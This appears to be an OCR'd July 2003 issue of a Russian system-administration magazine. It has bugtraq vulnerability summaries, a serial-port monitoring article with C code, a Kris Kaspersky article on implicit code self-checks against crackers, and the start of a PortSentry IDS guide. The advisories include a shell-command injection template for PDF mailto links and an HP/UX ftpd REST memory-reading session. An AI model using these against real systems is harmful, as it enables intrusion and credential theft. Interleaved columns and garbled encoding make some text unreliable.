Netscape: http://neurosis.hungry.com/~ben/msie_bug/. Также сообщается, что когда регистрация Apache не
Способов устранения обнаруженной уязвимости не используется, программное обеспечение использует не-
существует в настоящее время. безопасные файлы регистрации, основанные на ID про-
цесса (например “t.log”). Локальный пользователь может
сконструировать символьную ссылку из временного фай-
ла к критическому системному файлу на системе. Когда
Выполнение произвольных команд mod_gzip выполняется, ссылающийся фал будет переза-
оболочки в Adobe Acrobat Reader и Xpdf писан с root-привилегиями.
Уязвимость обнаружена в Adobe Acrobat Reader и Xpdf для Уязвимость обнаружена в mod_gzip 1.3.26.1a.
Linux-систем. Удаленный пользователь может создать зло-
намеренный PDF-файл, который выполнит произвольные
команды оболочки при клике на ссылку в PDF-файле.
Сообщается, что удаленный пользователь может вне-
дрить команды оболочки в пределах внешней гиперссыл- DoS против Microsoft Windows 2000/XP/2003
ки. Согласно сообщению, PDF reader передает гиперссыл- Уязвимость обнаружена в Microsoft Windows 2000/XP/2003.
ку к операционной системе, используя команду 'sh -c'. В Удаленный атакующий может остановить работу сетевых
результате ссылка может быть обработана в следующей служб.
форме: Сообщается, что если на целевом сервере включена
поддержка IPV6, то удаленный пользователь может запу-
mailto:[address]`[malicious command]` стить ICMP flood нападение, чтобы отключить работу се-
тевых служб.
Уязвимость обнаружена в Adobe Acrobat Reader 5.06 Уязвимость обнаружена в Microsoft Windows 2000/XP/2003.
для Linux/UNIX и Xpdf 1.01.
Способов устранения обнаруженной уязвимости не
существует в настоящее время. Составил Александр Антипов

№7(8), июль 2003 31


администрирование

КОНТРОЛЬ
ПОСЛЕДОВАТЕЛЬНЫХ
ПОРТОВ В Linux

ДЕНИС КОЛИСНИЧЕНКО

32
администрирование
Интерфейс RS-232C является одним из самых распрост- Òàáëèöà 2. Êîíòàêòû è ñèãíàëû (25 pin).
раненных способов связи компьютеров и периферийных
устройств. Кто же не помнит старый добрый Norton
Commander и его функцию Связь (Link), позволяющую об-
мениваться файлами двум компьютерам, соединенным
нуль-модемным кабелем? Интерфейс RS-232C подразу-
мевает наличие двух типов оборудования:
 Терминального (DTE);
 Связывающего (DCE).

Терминальное устройство принимает и/или отправляет


данные. К терминальному типу относятся, например, ком-
пьютеры. Терминальные устройства служат окончанием
линии передачи данных, отсюда и название – terminate. Свя-
зывающее оборудование (DCE) обеспечивает передачу дан-
ных между терминальными устройствами по линии связи.
Иногда нам нужно знать состояние терминального ус-
тройства, или же мы хотим заставить связное устройство
DCE работать как терминальное DTE, для этого нам нуж-
но сделать небольшое изменение в линиях данных интер-
фейса RS-232C. Для этого нужно знать, какие функции
выполняет тот или иной сигнал интерфейса.
Терминальное оборудование оснащено 9- или 25-кон-
тактными D-образными разъемами. На следующем рисун-
ке изображены сами порты, а также нумерация контактов.

Следующая программа выводит состояние последо-


вательного устройства.

Ëèñòèíã 1. Ïðîãðàììà äëÿ êîíòðîëÿ ïîñëåäîâàòåëüíîãî ïîðòà


#include <sys/ioctl.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <signal.h>
int main(int argc, char **argv)
{
int fd;
int flags;
if (argc<1) {
fprintf(stderr,"Usage: pctrl serial_device");
fprintf(stderr,"For example: sns /dev/ttyS0");
Ðèñ. 1. Ïîñëåäîâàòåëüíûå ïîðòû. exit(1);
В таблицах 1 и 2 описаны функции контактов для 9- и }
25-контактных портов соответственно. if ((fd = open(argv[1], O_RDWR | O_NDELAY)) < 0) {
// Íåâîçìîæíî îòêðûòü ïîðò
Òàáëèöà 1. Êîíòàêòû è ñèãíàëû (9 pin). fprintf(stderr, "Cannot open port");
exit(1);
}
// Áåñêîíå÷íûé öèêë. Äëÿ âûõîäà èç ïðîãðàììû íàæìèòå Ctrl + C
while (1)
{
ioctl(fd, TIOCMGET, &flags);
/*
Èñïîëüçóåìûå êîíñòàíòû (ñì. òàáëèöó 1)
#define TIOCM_LE 0x001
#define TIOCM_DTR 0x002
#define TIOCM_RTS 0x004
#define TIOCM_ST 0x008
#define TIOCM_SR 0x010
Интерфейс RS-232C обеспечивает два независимых #define TIOCM_CTS 0x020
последовательных канала данных: основной и вспомога- #define TIOCM_CAR 0x040
#define TIOCM_RNG 0x080
тельный (вторичный), но на практике используется толь- #define TIOCM_DSR 0x100
ко основной, поэтому в асинхронном режиме использу- #define TIOCM_CD TIOCM_CAR
#define TIOCM_RI TIOCM_RNG
ются только первые 9 линий из 25. */

№7(8), июль 2003 33


администрирование
// Âûâîäèì ñîñòîÿíèå óñòðîéñòâà int main(int argc, char **argv)
if (flags & TIOCM_CD) fprintf(stderr,"1 [CD] "); {
if (flags & TIOCM_SR) fprintf(stderr,"2 [RD] "); int fd;
if (flags & TIOCM_ST) fprintf(stderr,"3 [TD] "); int flags=TIOCM_RNG;
if (flags & TIOCM_DTR) fprintf(stderr,"4 [DTR] ");
if (flags & TIOCM_DSR) fprintf(stderr,"6 [DSR] "); if (argc<1) {
if (flags & TIOCM_RTS) fprintf(stderr,"7 [RTS] "); fprintf(stderr,"Usage: sns serial_device");
if (flags & TIOCM_CTS) fprintf(stderr,"8 [CTS] "); fprintf(stderr,"For example: sns /dev/ttyS0");
if (flags & TIOCM_RNG) fprintf(stderr,"9 [RNG] "); exit(1);
}
fprintf(stderr,"\n");
ioctl(fd, TIOCMSET, &flags);
// Çàñûïàåì íà 1 ñåêóíäó
sleep(1); close(fd);
} }
close(fd);
}

Для компилирования программы введите команду:

gcc -o pctrl pctrl.c

Каждую секунду программа выводит на экран состоя-


ние указанного порта. Вывод программ можно увидеть на
рисунке 2. Для установки какого-нибудь сигнала можно
воспользоваться следующей программой:

Ëèñòèíã 2. Óñòàíîâêà ñèãíàëà RNG

#include <sys/ioctl.h>
#include <fcntl.h>
#include <errno.h> Ðèñ. 2. Âûâîä ïðîãðàììû.
#include <stdlib.h>
#include <unistd.h> Примечание. Обе программы нужно запускать от име-
#include <stdio.h>
#include <signal.h> ни пользователя root (пользователя с UID = 0). Все ваши
вопросы присылайте по адресу dhsilabs@mail.ru.

34
безопасность

НЕЯВНЫЙ САМОКОНТРОЛЬ
КАК СРЕДСТВО СОЗДАНИЯ
НЕЛОМАЕМЫХ ЗАЩИТ

КРИС КАСПЕРСКИ

36
безопасность
Основная ошибка подавляющего большинства разработ- та контрольной суммы: напичкивать его антиотладочны-
чиков защитных механизмов состоит в том, что они дают ми приемами, реализовать его на базе собственных вир-
явно понять хакеру, что защита еще не взломана. Если туальных машин (то есть интерпретаторов), некоторые из
защита сообщает «неверный ключевой файл (пароль)», них, например, Стрелку Пирса, достаточно трудно про-
то хакер ищет тот код, который ее выводит и анализирует анализировать. Но если такие меры и остановят взлом-
условия, которые приводят к передаче управления на дан- щика, то ненадолго.
ную ветку программы. Если защита в случае неудачной
аутентификации блокирует некоторые элементы управ- Техника неявного контроля
ления и/или пункты меню, хакер либо снимает такую бло- Ошибка традиционного подхода заключается в его пред-
кировку «в лоб», либо устанавливает точки останова (в сказуемости. Любая явная проверка чего бы то ни было
просторечии называемые «бряками») на API-функции, по- независимо от ее алгоритма – это зацепка! Если хакер
средством которых такое блокирование может быть осу- локализует защитный код, то все – пиши пропало. Един-
ществлено (как правило, это EnableWindows), после чего ственный надежный способ отвадить его от взлома –
он опять-таки оказывается в непосредственной близости «размазать» защитный код по всей программе с таким
от защитного механизма, который ничего не стоит про- расчетом, чтобы нейтрализовать защиту без полного
анализировать и взломать. Даже если защита не выво- анализа всей программы целиком – было заведомо не-
дит никаких ругательств на экран, а просто молчаливо возможным. К сожалению, существующие методики
выходит из программы, то хакер либо ставит точку оста- «размазывания» либо многократно усложняют реализа-
нова на функцию exit, либо тупо трассирует программу и, цию программы, либо крайне неэффективны. Некоторые
дождавшись момента передачи управления на exit, ана- программисты вставляют в программу большое количе-
лизирует один или несколько последующих условных пе- ство вызовов одной и той же защитной функции, иду-
реходов в цепи управления – какой-то из них непосред- щих из различных мест, наивно полагая тем самым, что
ственно связан с защитой! хакер будет искать и анализировать их все. Да как бы не
В некоторых защитных механизмах используется кон- так! Хакер ищет ту самую защитную функцию и правит
троль целостности программного кода на предмет выяв- ее. К тому же, зная смещение вызываемой функции,
ления его изменений. Теперь, если хакер подправит не- найти и отследить ее вызовы можно без труда! Даже если
сколько байтиков в программе, защита немедленно об- встраивать защитную функцию непосредственно в мес-
наружит это и взбунтуется. «Святая простота!» – восклик- то ее вызова, хакер сможет найти все такие места ту-
нет хакер и отключит самоконтроль защиты, действуя тем пым поиском по сигнатуре. Пусть оптимизирующие ком-
же самым способом, что описан выше. По наблюдениям пиляторы несколько меняют тело inline-функций с уче-
автора, типичный самоконтроль выявляется и нейтрали- том контекста конкретного вызова, эти изменения не-
зуется за несколько минут. Наиболее сильный алгоритм принципиальны. Реализовать же несколько десятков раз-
защиты: использовать контрольную сумму критических личных защитных функций слишком накладно, да и фан-
участков защитного механизма для динамической рас- тазии у разработчика не хватит, и хакер, обнаружив и
шифровки некоторых веток программы, которые ломают- проанализировав пару-тройку защитных функций, на-
ся уже не за минуты, а за часы (в редчайших случаях – столько проникнется «духом» и ходом мысли разработ-
дни). Алгоритм взлома выглядит приблизительно так: чика, что все остальные найдет без труда.
 подсмотрев контрольную сумму в оригинальной про- Между тем существует и другая возможность – неяв-
грамме, хакер переписывает код функции CalculateCRC, ная проверка целостности своего кода. Рассмотрим сле-
заставляя ее всегда возвращать это значение, не вы- дующий алгоритм защиты: пусть у нас имеется зашиф-
полняя реальной проверки; рованная (а еще лучше упакованная) программа. Мы,
 если защита осуществляет подсчет контрольной сум- предварительно скопировав ее в стековый буфер, рас-
мы различных участков программы и/или разработ- шифровываем (распаковываем) ее и… используем осво-
чик использовал запутанный самомодифицирующий- бодившийся буфер под локальные переменные защищен-
ся код, труднопредсказуемым способом меняющий ной программы. С точки зрения хакера, анализирующего
свою контрольную сумму, то хакер может изменить дизассемблерный код, равно как и гуляющего по защите
защиту так, чтобы она автоматически самовосстанав- отладчиком, все выглядит типично и «законно». Обнару-
ливалась после того, как все критические участки жив защитный механизм (пусть для определенности это
будут пройдены; будет тривиальная парольная проверка), хакер правит со-
 отследив все вызовы CalculateCRC, хакер может про- ответствующий условный переход и с удовлетворением
сто снять динамическую шифровку, расшифровав ее убеждается, что защита больше не ругается и программа
вручную, после чего надобность в CalculateCRC про- работает. Как будто бы работает! – через некоторое вре-
падает. мя выясняется, что после взлома работа программы ста-
ла неустойчивой: то она неожиданно виснет, то делает из
Стоит отметить, что независимо от способа своей ре- чисел винегрет, то… Почесав репу, хакер озадаченно ду-
ализации любой самоконтроль элементарно обнаружива- мает: «А как это вообще ломать? На что ставить точки
ется установкой точек останова на те участки защитного останова? Ведь не анализировать же весь код целиком!».
механизма, которые были изменены. Остальное – дело Весь фокус в том, что некоторые из ячеек буфера,
техники. Можно сколь угодно усложнять алгоритм подсче- ранее занятого зашифрованной (упакованной) програм-

№7(8), июль 2003 37


безопасность
мой при передаче их локальным переменным не были про- на модифицированный им защитный код, то он вообще
инициализированы! Точнее, они были проинициализиро- не обнаружит к ней обращения, т.к. защита контролирует
ваны теми значениями, что находились в соответствую- именно зашифрованный (упакованный) код, содержащий-
щих ячейках оригинальной программы. Как нетрудно до- ся в нашем буфере. Даже если хакер поставит точку ос-
гадаться, именно эти ячейки и хранили критичный к из- танова на буфер, он быстро выяснит, что:
менениям защитный код, а потому и неявно контролируе-  ни до, ни в процессе, ни после расшифровки (распа-
мый нашей программой. Теперь я готов объяснить, зачем ковки) программы содержимое модифицированных им
вся эта котовасия с шифровкой (упаковкой) нам вообще ячеек не контролируется (что подтверждает анализ
понадобилась: если бы мы просто скопировали часть кода кода расшифровщика/распаковщика – проверок цело-
программы в буфер, а затем «наложили» на него наши стности там действительно нет);
локальные переменные, то хакер сразу бы заинтересо-  обращение к точке останова происходит лишь тогда,
вался происходящим и, бормоча под нос «что-то здесь не когда буфер затерт локальными переменными и (по
так», вышел бы непосредственно на след защиты. Рас- идее!) содержит другие данные.
шифровка нам понадобилась лишь для усыпления бди-
тельности хакера. Вот он видит, что код программы копи- Правда, ушлый хакер может обратить внимание, что
руется в буфер. Спрашивает себя: «А зачем?». И сам же после «затирания» значение этих ячеек осталось неиз-
себе отвечает: «Для расшифровки!». Затем, дождавшись менным. Совпадение? Проанализировав код, он сможет
освобождения буфера с последующим затиранием его убедиться, что они вообще не были инициализированы и
содержимого локальными переменными, хакер (даже про- тогда защита падет! Однако мы можем усилить свои по-
ницательный!) теряет к этому буферу всякий интерес. зиции: достаточно лишь добиться, чтобы контролируемые
Далее, если хакер поставит контрольную точку останова байты попали в «дырки», образующиеся при выравнива-

Ðèñóíîê 1.

38
безопасность
нии структуры (этим мы отвечаем хакеру на вопрос: а чего защиты приведен в листинге 1. Для упрощения понима-
это они не инициализированы?), а затем скопировать эту ния и абстрагирования от всех технических деталей здесь
структуру целиком (вместе с контролируемыми «дырка- используется простейшая схема аутентификации, «ло-
ми»!) в десяток-другой буферов, живописно разбросан- мать» которую совершенно необязательно: достаточно
ных по всей программе. Следить на всеми окажется не лишь подсмотреть оригинальный пароль, хранящийся в
так-то просто: во-первых, не хватит контрольных точек, а защищенном файле прямым текстом. Для демонстраци-
во-вторых, это просто не придет в голову. онного примера такой прием с некоторой натяжкой допу-
стим, но в реальной жизни вам следует быть более изощ-
Практическая реализация ренными. По крайней мере, следует добиться того, чтобы
Правила хорошего тона обязывают нас проектировать ваша защита не ломалась изменением одного-единствен-
защитные механизмы так, чтобы они никогда, ни при ка- ного байта, поскольку в этом случае даже неявный конт-
ких обстоятельствах не могли нанести какой бы то ни было роль будет легко выявить. Следует также отметить, что
вред легальному пользователю. Даже если вам очень- контролировать все критические байты защиты – не
очень хочется наказать хакера, ломающего вашу програм- очень-то хорошая идея, т.к. хакер сможет это легко обна-
му, форматировать диск в случае обнаружения модифи- ружить. Если защита требует для своего снятия хотя бы
кации защитного кода, категорически недопустимо! Во- десяти модификаций в различных местах, три из которых
первых, это просто незаконно и попадает под статью о контролируются, то с вероятностью ~70% факт контроля
умышленном создании деструктивных программ, а во- не будет обнаружен. Действительно, среднестатистичес-
вторых, задумайтесь, что произойдет, если искажение кий хакер следить за всеми модифицированными ими бай-
файла произойдет в результате действий вируса или не- тами просто не будет. Вместо этого, он в надежде что ту-
которого сбоя? Если вы не хотите, чтобы пострадали не- пая защита контролирует целостность своего кода цели-
винные, вам придется отказаться от всех форм вреда, в ком, будет следить за обращениями к одной, ну макси-
том числе и преднамеренном нарушении стабильности ра- мум двум-трем измененным им ячейкам и… с удивлени-
боты самой защищенной программы. ем обнаружит, что защита их вообще не контролирует.
Стоп! Ведь выше мы говорили как раз об обратном. После того как контрольные точки выбраны, вы долж-
Единственный путь сделать защиту трудноломаемой, не ны определить их смещение в откомпилированном фай-
выдавая никаких ругательных сообщений, по которым нас ле. К сожалению, языки высокого уровня не позволяют
можно засечь, – молчаливо делать винегрет из обраба- определять адреса отдельных машинных инструкций и,
тываемых данных. А теперь выясняется, что делать этого если только вы не пишите защиту на ассемблерных встав-
по этическим (и юридическим!) соображениям нельзя. На ках, то у вас остается один-единственный путь – восполь-
самом деле, если хорошо подумать, то все эти ограниче- зоваться каким-нибудь дизассемблером (например, IDA).
ния легко обойти. Что нам мешает оснастить защиту яв- Допустим, критическая часть защиты выглядит так, и
ной проверкой целостности своего кода? Хакер найдет и нам необходимо проконтролировать целостность услов-
нейтрализует ее без труда, но это и не страшно, посколь- ного оператора if, выделенного красным цветом:
ку истинная защита находится совершенно в другом мес-
те, а вся эта бутафория нужна лишь затем, чтобы предот- int my_func()
{
вратить последствия непредумышленного искажения кода if (check_user())
программы и поставить пользователя в известность, что {
fprintf(stderr, "passwd ok\n");
все данные нами гарантии (как явные, так и предполагае- }
мые) ввиду нарушения целостности оригинального кода else
{
аннулируются. Правда, при обсуждении защиты данного fprintf(stderr, "wrong passwd\n");
типа некоторые коллеги мне резонно возразили, а что, exit(-1);
}
если в результате случайного сбоя окажутся изменены и return 0;
контролируемые ячейки, и сама контрольная сумма? За- }
щита сработает у легального пользователя!!! Ну что мне
на это ответить? Случайно таких «волшебных» искаже- Загрузив откомпилированный файл в дизассемблер,
ний просто не бывает, их вероятность настолько близка к мы получим следующий код (чтобы быстро узнать, кото-
нулю, что… К тому же, в случае срабатывания защиты рая из всех процедур и есть my_func, опирайтесь на тот
мы ведь не форматируем легальному пользователю диск, факт, что большинство компиляторов располагает функ-
а просто нарушаем нормальную работу программы. Пусть ции в памяти в порядке их объявления, т.е. my_func будет
и предумышленно, все равно, если в результате того или вторая по счету функция):
иного сбоя был искажен исполняемый файл, то о коррек-
тности его работы более говорить не приходится. Ну хо- .text:00401060 sub_401060 proc near ↵
; CODE XREF: sub_4010A0+AF?p
рошо, если вы так боитесь сбоев, можно встроить в за- .text:00401060 call sub_401000
щиту хоть десяток явных проверок, – трудно нам что ли?! .text:00401065 test eax, eax
.text:00401067 jz short loc_40107E
Ладно, оставим этические проблемы на откуп тем са- .text:00401069 push offset aPasswdOk ↵
мым пользователям, которые приобретают титул «лицен- ; "passwd ok\n"
.text:0040106E push offset unk_407110
зионных» исключительно через крак, и перейдем к конк- .text:00401073 call _fprintf
ретным вещам. Простейший пример реализации данной .text:00401078 add esp, 8

№7(8), июль 2003 39


безопасность
.text:0040107B xor eax, eax int my_func()
.text:0040107D retn {
.text:0040107E ; ----------------------------------------- if (check_user())
.text:0040107E {
.text:0040107E loc_40107E: ↵ fprintf(stderr, "passwd ok\n");
; CODE XREF: sub_401060+7?j }
.text:0040107E push offset aWrongPasswd ↵ else
; "wrong passwd\n" {
.text:00401083 push offset unk_407110 fprintf(stderr, "wrong passwd\n");
.text:00401088 call _fprintf exit(-1);
.text:0040108D push 0FFFFFFFFh ↵ }
; int return 0;
.text:0040108F call _exit }
.text:0040108F sub_401060 endp
main()
Как нетрудно сообразить, условный переход, распо- {
int a, b = 0;
ложенный по адресу 0x401067, и есть тот самый «if», ко- #pragma pack(1)
торый нам нужен. Однако это не весь if, а только малая
union anti_hack
его часть. Хакер может и не трогать условного перехо- {
да, а заменить инструкцию test eax, eax на любую дру- char buf[MAX_CODE_SIZE];
struct code_control
гую инструкцию, сбрасывающую флаг нуля. Также он {
может модифицировать защитную функцию sub_401000, int local_var_1;
int local_var_2;
которая и осуществляет проверку пароля. Словом, тут char gag_1[OFFSET_1-sizeof(int)*2];
много разных вариантов и на этом несчастном услов- int x_val_1;
char gag_2[OFFSET_2 - OFFSET_1 - sizeof(int)];
ном переходе свет клином не сошелся, а потому для int x_val_2;
надежного распознавания взлома нам потребуются до- };
};
полнительные проверки. Впрочем, это уже детали. Глав- union anti_hack ZZZ;
ное, что мы определили смещение контролируемого
// TITLE
байта. Кстати, а почему именно байта? Ведь мы можем fprintf(stderr, "crackeme.0xh by Kris Kaspersky\n");
контролировать хоть целое двойное слово, расположен-
// ðàñøèôðîâêà êîäà
ное по данному смещению! Особого смысла в этом нет, // ======================================================
просто так проще.
// êîïèðóåì ðàñøèôðîâûâàåìûé êîä â áóôåð
Чтобы не работать с непосредственными смещения- memcpy(&ZZZ, &check_user, (int) &main - (int) &check_user);
ми (это неудобно и вообще некрасиво), давайте загоним
// ðàñøèôðîâûâàåì â áóôåðå
их в специально на то предназначенную структуру: for (a = 0; a < (int) &main - (int) &check_user; a++)

union anti_hack {
{ (*(char *) ((int) &ZZZ + a)) ^= x_crypt;
char buf[MAX_CODE_SIZE]; }
struct code_control
{ // êîïèðóåì îáðàòíî
int local_var_1; memcpy(&check_user, &ZZZ, (int) &main - (int) &check_user);
int local_var_2;
char gag_1[OFFSET_1-sizeof(int)*2];
int x_val_1; // ÿâíàÿ ïðîâåðêà èçìåíåíèÿ êîäà
char gag_2[OFFSET_2 - OFFSET_1 - sizeof(int)]; // ======================================================
int x_val_2; for (a = 0; a < (int) &main - (int) &check_user; a++)
};
}; {
b += *(int *) ((int) &check_user + a);
}
if (b != x_original_all)
Исходный текст: {
fprintf(stderr, "-ERR: invalid CRC (%x) hello, hacker\n", b);
Ëèñòèíã 1. return 0;
#include <stdio.h> }

#define PASSWD "+++"


#define MAX_LEN 1023 // ÿâíàÿ ïðîâåðêà "âàëèäíîñòè" ïîëüçîâàòåëÿ
#define MAX_CODE_SIZE (0x10*1024) // ======================================================
#define OFFSET_1 0x42 my_func();
#define OFFSET_2 0x67

#define x_original_1 0xc01b0574 // íîðìàëüíîå âûïîëíåíèå ïðîãðàììû


#define x_original_2 0x44681574 // ======================================================
#define x_original_all 0x13D4C04B
// ñêðûòûé êîíòðîëü
#define x_crypt 0x66 ZZZ.local_var_1 = 2;
ZZZ.local_var_2 = 2;x_original_2;
int check_user() sprintf(ZZZ.gag_1, "%d * %d = %d\n", ZZZ.local_var_1, ↵
{ ZZZ.local_var_2, ZZZ.local_var_1*ZZZ.local_var_2 + ↵
char passwd[MAX_LEN]; ((x_original_1^ZZZ.x_val_1)+ ↵
(x_original_2^ZZZ.x_val_2)));
fprintf(stderr,"enter password:");
fgets(passwd, MAX_LEN, stdin); printf("DEBUG: %x %x\n", ZZZ.x_val_1, ZZZ.x_val_2);
return ~strcmp(passwd, PASSWD); fprintf(stderr, "%s",ZZZ.gag_1);
}
}

40
безопасность
Заключение каждую новую версию защищенной программы придет-
Итак, для надежной защиты своих программ от вездесу- ся ломать индивидуально и опыт предыдущих взломов
щих хакеров вам совершенно необязательно прибегать к ничуть не упрощает задачу, а сама логика защиты до
помощи широко разрекламированных, но дорогостоящих безобразия проста. Как защита проверяет целостность
электронных ключей (которые, как известно, склонны в своего кода, хакеру более или менее ясно, но вот где
самый неподходящий момент "сгорать", к тому же "отвя- конкретно осуществляется такая проверка, он не смо-
зать" программу от ключа для опытного взломщика не жет сказать до тех пор, пока не проанализирует всю
проблема). Также совершенно необязательно спускаться программу целиком.
на уровень "голого" ассемблера (ассемблерные защиты Допустим, объем кода защищенного приложения со-
непереносимы и к тому же чрезвычайно трудоемки в от- ставляет порядка 256-512 Кб (не слишком много, прав-
ладке, про сопровождение я и вовсе молчу). Как было да?), тогда при средней длине одной машинной инструк-
показано выше, практически неломаемую защиту можно ции в 2,5 байта, хакеру придется проанализировать 100 –
создать и на языках высокого уровня, например, на Си/ 200 тысяч ассемблерных команд! При "крейсерской" ско-
Си++, Delphi или Фортране. рости анализа 10-20 инструкций в минуту (а это предел
Защиты, основанные на неявном контроле целост- мечтаний для профессионалов экстракласса) ориентиро-
ности своего кода, ни один здравомыслящий хакер ло- вочное время взлома составит по меньшей мере полто-
мать не будет (конечно, при условии, что они не содер- раста часов работы – почти неделя напряженного труда!
жат грубых ошибок реализации, значительно упроща- А на практике (с учетом затрат на тестирование взло-
ющих взлом), ибо трудоемкость взлома сопоставима с манного приложения) даже более того. Другими слова-
разработкой аналогичной программы "с нуля", а ведь ми, взломать защиту за разумное время нереально.

№7(8), июль 2003 41


bugtraq
KDE Konqueror Embedded не в состоянии Просмотр содержания произвольных
в некоторых случаях подтвердить файлов в памяти системы в HP/UX 'ftpd'
подлинность SSL-сертификатов Уязвимость обнаружена в HP/UX 'ftpd' в команде REST. Уда-
Уязвимость обнаружена в KDE Konqueror. Программное ленный пользователь может просматривать содержание
обеспечение не проверяет имя хоста в SSL-сертификатах. произвольных файлов в памяти системы.
Сообщается, что выполнение KDE SSL в KDE Konqueror Сообщается, что удаленный пользователь может ис-
Embedded проверяет сертификаты, основанные на IP-ад- пользовать команду REST (reset) и определить местопо-
ресе, но не проверяет, соответствует ли Common Name ложение памяти, чтобы просматривать содержание фай-
имени хоста. Удаленный пользователь может подделать лов из памяти.
безопасный веб-сервер или выполнить SSL man-in-the- Пример: (еще несколько примеров можно найти в ис-
middle нападение таким образом, что его не сможет об- точнике сообщения):
наружить KDE Konqueror Embedded.
Патчи можно скачать отсюда: frieza elguapo $ ftp 192.168.1.111
Connected to 192.168.1.111.
ftp://ftp.kde.org/pub/kde/security_patches 220 kakarot FTP server (Version 1.1.214.4 Mon Feb 15 08:48:46 ↵
4c252809dec8be73bbe55367350c27ca post-2.2.2-kdelibs- GMT 1999) ready.
Name (192.168.1.111:root): elguapo
kssl-2.diff 331 Password required for elguapo.
441afec72fab406f8c1cd7d6b839b3e0 post-2.2.2-kdelibs- Password:
230 User elguapo logged in.
kio-2.diff Remote system type is UNIX.
Уязвимость обнаружена в KDE 2.2.2 и более ранних Using binary mode to transfer files.
ftp> rest 1111111111111111
версиях. restarting at 2147483647. execute get, put or append ↵
to initiate transfer
ftp> get .
Множественные переполнения буфера local: . remote: .
в MDaemon IMAP-сервере 200 PORT command successful.
Несколько уязвимостей обнаружено в MDaemon IMAP-сер- # gdb /usr/lbin/ftpd 2862
вере. Удаленный пользователь может аварийно завершить GNU gdb 4.18-hppa-991112
Copyright 1998 Free Software Foundation, Inc.
работу сервиса или выполнить произвольный код с System-
привилегиями. /home/elguapo/2862: No such file or directory.
Attaching to program: /usr/lbin/ftpd, process 2862
Сообщается, что несколько переполнений буфера суще-
ствует в обработке IMAP4-протокола. Удаленный пользова- Unable to find __dld_flags symbol in object file.
тель может послать чрезмерно большое количество данных (gdb) c
с командами EXAMINE, DELETE, SUBSCRIBE, RENAME, Continuing.
UNSUBSCRIBE, LIST, LSUB, STATUS, LOGIN, CREATE и Program received signal SIGSEGV, Segmentation fault.
SELECT, чтобы вызвать переполнение. Для выполнения не- 0xc00ef0b8 in ?? ()
(gdb) bt
которых команд требуется авторизация. #0 0xc00ef0b8 in ?? ()
Уязвимость обнаружена в MDaemon 6.7.8. Error accessing memory address 0x7fffffff: Bad address.
(gdb) info registers r3 r11
Обход ограничений доступа r3: 7fffffff
r11: 7fffffff
по хостам в OpenSSH
Уязвимость в проверке правильности доступа обнаружена Уязвимость может использоваться, например, для полу-
в OpenSSH. Удаленный пользователь, способный управ- чения пароля root из памяти. Уязвимость связана с непра-
лять DNS, может обойти ограничения по хостам в OpenSSH. вильным использованием конверсионного символа в стро-
Сообщается, что при получении нового подключе- ке формата. Уязвимость обнаружена в HP/UX ftpd 1.1.214.4.
ния OpenSSH выполняет обратный DNS-просмотр и про- Hewlett Packard выпустил заплату PHNE_18377, уст-
веряет результаты поиска против IP-адресов или име- раняющую эту уязвимость.
ни хостов, указанных в файле конфигурации OpenSSH,
как разрешенные или запрещенные хосты. Если файл DoS против Microsoft Windows XP
конфигурации определяет числовой IP-адрес или ин- Уязвимость обнаружена во всех версиях Microsoft Windows
тервал IP-адресов, удаленный пользователь, контроли- XP. Локальный пользователь может аварийно завершить
рующий DNS-сервер, может заставить DNS-сервер воз- работу системы.
вратить имя хоста, содержащее строку IP-адреса (на- Проблема связана с тем, что Windows не в состоянии
пример, '[ipaddress].[domain]'). Если строка IP-адреса со- правильно обработать множественные вложенные дирек-
ответствует разрешенным IP-адресам в конфигураци- тории. Локальный пользователь может создать каталог,
онном файле, OpenSSH некорректно определит подклю- содержащий 122 вложенные директории и обратиться к
чение как разрешенное. В результате удаленный последней директории, чтобы аварийно завершить рабо-
пользователь может получить доступ к SSH-порту от ту системы.
запрещенного хоста. Уязвимость обнаружена в Microsoft Windows XP.
Уязвимость обнаружена в OpenSSH 3.6.1 и более ран-
них версиях. Для устранения уязвимости, включите оп- Составил Александр Антипов
цию 'VerifyReverseMapping' на SSH-сервере.

42
безопасность

СЕРГЕЙ ЯРЕМЧУК

44
безопасность
В статье «Контрольная сумма на защите Linux/FreeBSD» компилятором С при обработке файлов заголовков, по-
июньского номера журнала «Системный администратор» этому удалять их не надо. После набираем:
была рассмотрена настройка утилиты Tripwire, позволя-
ющей системному администратору контролировать цело- # make linux (openbsd, freebsd, netbsd)
стность важных системных файлов и быть предупрежден-
ным о взломе. Но хотелось бы не доводить до всего этого чтобы откомпилировать программу и затем под логином root:
и иметь возможность защититься и предотвратить взлом.
Существует множество утилит, позволяющих определить # make install
признаки подготовки и начала атаки (сканирование пор-
тов, множество неудачных удаленных подключений к сер- Теперь в /usr/local должен появиться каталог psionic с под-
веру), в этой статье познакомимся с тремя из них. каталогом portsentry2, в котором будут находиться три фай-
Набор программ TriSentry от компании Psionic ла: portsentry – исполняемый файл программы, portsentry.conf
Technologies Inc. (http://www.psionic.com/) разработаны, что- и portsentry.ignore. В portsentry.ignore содержатся IP-адре-
бы увеличить защиту компьютерных сетей и уменьшить ве- са узлов, которые не дожны блокироваться.
роятность проникновения, эти приложения относятся к IDS По умолчанию там содержится два адреса 127.0.0.1 и
(Intrusion Detection System – система обнаружения вторже- 0.0.0.0, остальные при необходимости заносятся в фор-
ний). Состоит TriSentry из трех ключевых компонентов: мате <IP Address>/<Netmask>. Например:
PortSentry, HostSentry и LogSentry, распространяемых как
freeware и предназначенных для использования на Unix-по- 192.168.2.0/24
192.168.0.0/16
добных операционных системах как вместе, так и раздель- 192.168.2.1/32
но, в зависимости от задач и необходимости.
По умолчанию используется 32-битная маска. Теперь
PortSentry самое время заглянуть в главный конфигурационный файл
PortSentry – программа, предназначенная для обнаружения portsentry.conf. Опции в этом файле для удобства условно
сканирования портов, которое, как правило, всегда пред- сгруппированы по секциям и имеют вид ОПЦИЯ=«значение».
шествует атаке. Она не только позволяет регистрировать
это в системных журналах при помощи syslog, но и позволя-
ет запустить в ответ любую программу (блокировки хоста Значения опций файла portsentry.conf
firewall или переадресации на несуществующий dead host,
traseroute, свой скрипт), которой могут быть переданы IP- Interface Configurations
адрес атакующего и номер атакуемого порта, или просто  INTERFACE=«auto» – названия подконтрольного интер-
прописать адрес компьютера в файле /etc/hosts.deny. фейса, при наличии одного возможен вариант «auto»,
PortSentry обнаруживает практически все известные виды и он будет найден автоматически; если же их несколь-
сканирования: Strobe-style, SYN/half-open, Null, XMAS, FIN, ко, то необходимо указать на выбранный для контро-
